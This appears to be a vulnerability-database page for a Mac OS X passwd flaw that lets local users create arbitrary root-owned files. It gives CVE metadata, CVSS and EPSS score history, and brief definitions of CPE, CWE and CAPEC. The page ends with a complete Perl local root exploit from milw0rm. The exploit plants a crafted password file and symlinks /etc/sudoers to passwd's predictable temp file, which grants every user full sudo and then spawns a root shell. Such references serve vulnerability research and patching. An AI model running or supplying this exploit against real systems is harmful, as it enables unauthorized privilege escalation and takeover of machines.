CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
passwd in Directory Services in Mac OS X 10.3.x before 10.3.9 and 10.4.x before 10.4.5 allows local users to create arbitrary world-writable files as root by specifying an alternate file in the password database option.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.8
AV:L/AC:L/Au:S/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2023-05-14
–
–
–
0.04%
–
2023-06-04
–
–
–
0.04%
–
2023-06-25
–
–
–
0.04%
–
2023-07-02
–
–
–
0.04%
–
2023-07-09
–
–
–
0.04%
–
2023-07-30
–
–
–
0.04%
–
2023-09-17
–
–
–
0.04%
–
2023-12-03
–
–
–
0.04%
–
2024-03-10
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-23
–
–
–
0.04%
–
2024-08-04
–
–
–
0.04%
–
2024-08-11
–
–
–
0.04%
–
2024-11-10
–
–
–
0.04%
–
2024-12-22
–
–
–
0.09%
–
2025-01-12
–
–
–
0.09%
–
2025-02-09
–
–
–
0.12%
–
2025-01-19
–
–
–
0.09%
–
2025-02-16
–
–
–
0.12%
–
2025-03-18
–
–
–
–
0.16%
2025-03-30
–
–
–
–
0.2%
2025-03-30
–
–
–
–
0.2,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
#
# /usr/bin/passwd[OSX]: local root exploit.
#
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
#
# (Apple) OSX's /usr/bin/passwd program has support for a custom
# passwd file to be used instead of the standard/static path. this
# feature has security issues in the form of editable file(s) being
# made anywheres on the disk and also writing arbitrary data to files.
#
# the first issue will only work if the file does not already exist,
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".
# the second issue is once a successful password change has occured
# /usr/bin/passwd will insecurely re-write the passwd file to
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of
# your choice. (this exploits the second issue to overwrite
# /etc/sudoers)
#
# (for some reason this took apple 6 or so months to patch)
use POSIX;
$fake_passwd="/tmp/xpasswd.$$";
$passwd_pid=($$ + 1);
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";
$sudoers="/etc/sudoers";
sub pexit{print("[!] @_.\n");exit(1);}
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
unlink($fake_passwd);
print("[*] making fake password file. ($fake_passwd)\n");
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");
# uid must equal the current user.
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .
getuid . ":" . getuid . "::/:/\n");
close(FP);
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");
print("[*] running /usr/bin/passwd on $fake_passwd.\n");
print("[*] (use ANY password longer than 4 characters)\n\n");
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");
system("/usr/bin/sudo sh");
exit(0);
# milw0rm.com [2006-03-01]